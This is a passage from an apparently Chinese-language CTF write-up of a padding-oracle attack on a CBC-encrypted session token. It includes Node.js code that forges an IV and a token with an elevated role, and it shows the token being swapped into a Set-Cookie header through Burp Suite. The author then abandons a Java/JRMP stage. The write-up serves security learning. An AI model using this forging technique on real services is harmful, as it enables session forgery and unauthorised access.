Initialization_Vector 0x50 0x61 0x64 0x4f 0x72 0x61 0x63 0x6c 0x65 0x3a 0x69 0x76 0x2f 0x63 0x62 0x63
Plain_Text_0 0x7b ?? 0x50 0x7b 0x22 ?? 0xbe 0x22 0x69 ?? 0x15 0x69 0x64 ?? 0x9d 0x64 0x22 ?? 0x03 0x22 0x3a ?? 0x79 0x3a 0x31 ?? 0xa2 0x31 0x30 ?? 0x62 0x30 0x30 ?? 0x76 0x30 0x2c ?? 0x2e 0x2c 0x22 ?? 0x75 0x22 *0x72 ?? 0x10 0x72 0x6f ?? 0xd3 0x6f 0x6c ?? 0xe7 0x6c 0x65 ?? 0x03 0x65 0x41 ?? 0xf8 0x41
// ...
const intermediary0 = Buffer.from('00df71d27118c10e13141c66fc84619b', 'hex')
const plain0 = Buffer.from('{"id":100,"roleA')

let iv = xor(intermediary0, plain0)
console.log('IV:', iv)
// <- IV: <Buffer 7b fd 18 b6 53 22 f0 3e 23 38 3e 14 93 e8 04 da>

便得到整串伪造的 IV 和密文。

📎 验证攻击结果

根据题目设定,将整串伪造的 IV、密文相连,做 base64 编码,生成伪造的 token:

// ...
const cipher0 = Buffer.from('c3beeee4265cb3792c43365bd63a5516', 'hex')
const cipher1 = Buffer.from(ORIGINAL_TOKEN, 'base64').slice(32)

const token = Buffer.concat([iv, cipher0, cipher1]).toString('base64')

console.log('Token:', token)
// <- Token: e/0YtlMi8D4jOD4Uk+gE2sO+7uQmXLN5LEM2W9Y6VRa42FqRvernmQhsxyPnvxaF

然后在 Burp Suite 中拦截 /api/gen_token 的响应,将响应头中 Set-Cookietoken 以及响应体改为伪造的值:

screenshot

重新访问题目入口,点击「Download 1.txt」,成功下载 提示文件

Try to hack~ 
Hint:
1. Env: Springboot + JDK8(openjdk version "1.8.0_181") + Docker~ 
2. You can not exec commands~

📎 Java?

看到 1.txt 内容时我的内心是崩溃的。还不如题目里的「提示 1: JRMP」有用。

既然确定绕不开 JRMP,便已经没有继续做下去的欲望了。

当然,还是不妨看看文档和视频:

—— Web8 就此告别 👋 。

📎 涉及资料

📎 EOF

回到目录